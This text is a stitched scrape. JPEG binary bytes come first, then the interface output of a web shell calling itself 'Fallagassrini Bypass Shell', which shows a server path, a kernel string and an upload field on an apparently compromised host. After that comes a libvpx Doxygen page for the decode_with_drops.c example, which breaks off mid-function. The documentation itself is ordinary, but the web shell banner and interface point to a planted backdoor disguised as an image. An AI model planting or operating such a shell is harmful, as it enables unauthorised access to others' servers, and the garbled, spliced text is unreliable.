JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/doc/libvpx-devel-1.3.0/html/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/doc/libvpx-devel-1.3.0/html/example_decode_with_drops.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.5"/>
<title>WebM VP8 Codec SDK: decode_with_drops.c</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td style="padding-left: 0.5em;">
   <div id="projectname">WebM VP8 Codec SDK
   </div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.5 -->
  <div id="navrow1" class="tabs">
    <ul class="tablist">
      <li><a href="index.html"><span>Main&#160;Page</span></a></li>
      <li class="current"><a href="pages.html"><span>Related&#160;Pages</span></a></li>
      <li><a href="modules.html"><span>Modules</span></a></li>
      <li><a href="annotated.html"><span>Data&#160;Structures</span></a></li>
      <li><a href="files.html"><span>Files</span></a></li>
    </ul>
  </div>
<div id="nav-path" class="navpath">
  <ul>
<li class="navelem"><a class="el" href="samples.html">Sample Code</a></li>  </ul>
</div>
</div><!-- top -->
<div class="header">
  <div class="headertitle">
<div class="title">decode_with_drops.c </div>  </div>
</div><!--header-->
<div class="contents">
<div class="textblock"> 
<h1>Decode With Drops Example</h1>

<p>This is an example utility which drops a series of frames, as specified
on the command line. This is useful for observing the error recovery
features of the codec.</p>

<h2>Usage</h2>

<p>This example adds a single argument to the <code>simple_decoder</code> example,
which specifies the range or pattern of frames to drop. The parameter is
parsed as follows:</p>

<pre class="c"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc<span style="color: #339933;">!=</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#41;</span>
    die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Usage: %s &lt;infile&gt; &lt;outfile&gt; &lt;N-M|N/M&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>nptr<span style="color: #339933;">;</span>
    n <span style="color: #339933;">=</span> strtol<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>nptr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    m <span style="color: #339933;">=</span> strtol<span style="color: #009900;">&#40;</span>nptr<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    is_range <span style="color: #339933;">=</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">==</span> <span style="color: #ff0000;">'-'</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>n <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>m <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'-'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Couldn't parse pattern %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre>

<h2>Dropping A Range Of Frames</h2>

<p>To drop a range of frames, specify the starting frame and the ending
frame to drop, separated by a dash. The following command will drop
frames 5 through 10 (base 1).</p>

<p>$ ./decode_with_drops in.ivf out.i420 5-10</p>

<h2>Dropping A Pattern Of Frames</h2>

<p>To drop a pattern of frames, specify the number of frames to drop and
the number of frames after which to repeat the pattern, separated by
a forward-slash. The following command will drop 3 of 7 frames.
Specifically, it will decode 4 frames, then drop 3 frames, and then
repeat.</p>

<p>$ ./decode_with_drops in.ivf out.i420 3/7</p>

<h2>Extra Variables</h2>

<p>This example maintains the pattern passed on the command line in the
<code>n</code>, <code>m</code>, and <code>is_range</code> variables:</p>

<pre class="c"><span style="color: #993333;">int</span>              n<span style="color: #339933;">,</span> m<span style="color: #339933;">,</span> is_range<span style="color: #339933;">;</span></pre>

<h2>Making The Drop Decision</h2>

<p>The example decides whether to drop the frame based on the current
frame number, immediately before decoding the frame.</p>

<pre class="c"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>is_range <span style="color: #339933;">&amp;&amp;</span> frame_cnt <span style="color: #339933;">&gt;=</span> n <span style="color: #339933;">&amp;&amp;</span> frame_cnt <span style="color: #339933;">&lt;=</span> m<span style="color: #009900;">&#41;</span>
   <span style="color: #339933;">||</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>is_range <span style="color: #339933;">&amp;&amp;</span> m <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span>frame_cnt<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span>m <span style="color: #339933;">&lt;=</span> n<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   putc<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'X'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
putc<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'.'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre>

<h1>Putting It All Together</h1>

<pre class="c"><span style="color: #808080; font-style: italic;">/*
    Copyright (c) 2010 The WebM project authors. All Rights Reserved.
  
    Use of this source code is governed by a BSD-style license
    that can be found in the LICENSE file in the root of the source
    tree. An additional intellectual property rights grant can be found
    in the file PATENTS.  All contributing project authors may
    be found in the AUTHORS file in the root of the source tree.
 */</span>
&nbsp;
&nbsp;
<span style="color: #808080; font-style: italic;">/*
   This is an example utility which drops a series of frames, as specified
   on the command line. This is useful for observing the error recovery
   features of the codec.
 */</span>
<span style="color: #339933;">#include &lt;stdarg.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
<span style="color: #339933;">#define VPX_CODEC_DISABLE_COMPAT 1</span>
<span style="color: #339933;">#include &quot;./vpx_config.h&quot;</span>
<span style="color: #339933;">#include &quot;vpx/vp8dx.h&quot;</span>
<span style="color: #339933;">#include &quot;vpx/vpx_decoder.h&quot;</span>
<span style="color: #339933;">#define interface (vpx_codec_vp8_dx())</span>
&nbsp;
&nbsp;
<span style="color: #339933;">#define IVF_FILE_HDR_SZ  (32)</span>
<span style="color: #339933;">#define IVF_FRAME_HDR_SZ (12)</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> mem_get_le32<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>mem<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>mem<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #009900;">&#40;</span>mem<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #009900;">&#40;</span>mem<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #009900;">&#40;</span>mem<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">void</span> die<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>fmt<span style="color: #339933;">,</span> ...<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    va_list ap<span style="color: #339933;">;</span>
&nbsp;
    va_start<span style="color: #009900;">&#40;</span>ap<span style="color: #339933;">,</span> fmt<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    vprintf<span style="color: #009900;">&#40;</span>fmt<span style="color: #339933;">,</span> ap<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>fmt<span style="color: #009900;">&#91;</span>strlen<span style="color: #009900;">&#40;</span>fmt<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: #009900;">&#41;</span>
        <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">void</span> die_codec<span style="color: #009900;">&#40;</span>vpx_codec_ctx_t <span style="color: #339933;">*</span>ctx<span style="color: #339933;">,</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>s<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>detail <span style="color: #339933;">=</span> vpx_codec_error_detail<span style="color: #009900;">&#40;</span>ctx<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> s<span style="color: #339933;">,</span> vpx_codec_error<span style="color: #009900;">&#40;</span>ctx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>detail<span style="color: #009900;">&#41;</span>
        <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;    %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>detail<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    exit<span style="color: #009900;">&#40;</span>EXIT_FAILURE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    FILE            <span style="color: #339933;">*</span>infile<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>outfile<span style="color: #339933;">;</span>
    vpx_codec_ctx_t  codec<span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span>              flags <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> frame_cnt <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span>    file_hdr<span style="color: #009900;">&#91;</span>IVF_FILE_HDR_SZ<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span>    frame_hdr<span style="color: #009900;">&#91;</span>IVF_FRAME_HDR_SZ<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span>    frame<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">256</span><span style="color: #339933;">*</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    vpx_codec_err_t  res<span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span>              n<span style="color: #339933;">,</span> m<span style="color: #339933;">,</span> is_range<span style="color: #339933;">;</span>                                          <span style="color: #666666; font-style: italic;">//</span>
&nbsp;
    <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span>res<span style="color: #339933;">;</span>
    <span style="color: #808080; font-style: italic;">/* Open files */</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc<span style="color: #339933;">!=</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#41;</span>                                                               <span style="color: #666666; font-style: italic;">//</span>
        die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Usage: %s &lt;infile&gt; &lt;outfile&gt; &lt;N-M|N/M&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>             <span style="color: #666666; font-style: italic;">//</span>
    <span style="color: #009900;">&#123;</span>                                                                         <span style="color: #666666; font-style: italic;">//</span>
        <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>nptr<span style="color: #339933;">;</span>                                                           <span style="color: #666666; font-style: italic;">//</span>
        n <span style="color: #339933;">=</span> strtol<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>nptr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                        <span style="color: #666666; font-style: italic;">//</span>
        m <span style="color: #339933;">=</span> strtol<span style="color: #009900;">&#40;</span>nptr<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                          <span style="color: #666666; font-style: italic;">//</span>
        is_range <span style="color: #339933;">=</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">==</span> <span style="color: #ff0000;">'-'</span><span style="color: #339933;">;</span>                                              <span style="color: #666666; font-style: italic;">//</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>n <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>m <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'-'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">*</span>nptr <span style="color: #339933;">!=</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>                        <span style="color: #666666; font-style: italic;">//</span>
            die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Couldn't parse pattern %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                      <span style="color: #666666; font-style: italic;">//</span>
    <span style="color: #009900;">&#125;</span>                                                                         <span style="color: #666666; font-style: italic;">//</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>infile <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Failed to open %s for reading&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>outfile <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;wb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Failed to open %s for writing&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">/* Read file header */</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>fread<span style="color: #009900;">&#40;</span>file_hdr<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> IVF_FILE_HDR_SZ<span style="color: #339933;">,</span> infile<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> IVF_FILE_HDR_SZ
         <span style="color: #339933;">&amp;&amp;</span> file_hdr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'D'</span> <span style="color: #339933;">&amp;&amp;</span> file_hdr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'K'</span> <span style="color: #339933;">&amp;&amp;</span> file_hdr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'I'</span>
         <span style="color: #339933;">&amp;&amp;</span> file_hdr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span><span style="color: #ff0000;">'F'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s is not an IVF file.&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Using %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>vpx_codec_iface_name<span style="color: #009900;">&#40;</span>interface<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #808080; font-style: italic;">/* Initialize codec */</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>vpx_codec_dec_init<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> interface<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> flags<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        die_codec<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Failed to initialize decoder&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">/* Read each frame */</span>
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>fread<span style="color: #009900;">&#40;</span>frame_hdr<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> IVF_FRAME_HDR_SZ<span style="color: #339933;">,</span> infile<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> IVF_FRAME_HDR_SZ<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">int</span>               frame_sz <span style="color: #339933;">=</span> mem_get_le32<span style="color: #009900;">&#40;</span>frame_hdr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        vpx_codec_iter_t  iter <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
        vpx_image_t      <span style="color: #339933;">*</span>img<span style="color: #339933;">;</span>
&nbsp;
&nbsp;
        frame_cnt<span style="color: #339933;">++;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>frame_sz <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>frame<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Frame %d data too big for example code buffer&quot;</span><span style="color: #339933;">,</span> frame_sz<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>fread<span style="color: #009900;">&#40;</span>frame<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> frame_sz<span style="color: #339933;">,</span> infile<span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> frame_sz<span style="color: #009900;">&#41;</span>
            die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Frame %d failed to read complete frame&quot;</span><span style="color: #339933;">,</span> frame_cnt<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>is_range <span style="color: #339933;">&amp;&amp;</span> frame_cnt <span style="color: #339933;">&gt;=</span> n <span style="color: #339933;">&amp;&amp;</span> frame_cnt <span style="color: #339933;">&lt;=</span> m<span style="color: #009900;">&#41;</span>                     <span style="color: #666666; font-style: italic;">//</span>
           <span style="color: #339933;">||</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>is_range <span style="color: #339933;">&amp;&amp;</span> m <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span>frame_cnt<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span>m <span style="color: #339933;">&lt;=</span> n<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>                       <span style="color: #666666; font-style: italic;">//</span>
           putc<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'X'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                                 <span style="color: #666666; font-style: italic;">//</span>
           <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>                                                          <span style="color: #666666; font-style: italic;">//</span>
        <span style="color: #009900;">&#125;</span>                                                                     <span style="color: #666666; font-style: italic;">//</span>
        putc<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'.'</span><span style="color: #339933;">,</span> stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                                    <span style="color: #666666; font-style: italic;">//</span>
        fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                                       <span style="color: #666666; font-style: italic;">//</span>
        <span style="color: #808080; font-style: italic;">/* Decode the frame */</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>vpx_codec_decode<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> frame<span style="color: #339933;">,</span> frame_sz<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            die_codec<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Failed to decode frame&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">/* Write decoded data to disk */</span>
        <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>img <span style="color: #339933;">=</span> vpx_codec_get_frame<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>codec<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>iter<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> plane<span style="color: #339933;">,</span> y<span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>plane<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> plane <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span> plane<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>buf <span style="color: #339933;">=</span>img<span style="color: #339933;">-&gt;</span>planes<span style="color: #009900;">&#91;</span>plane<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
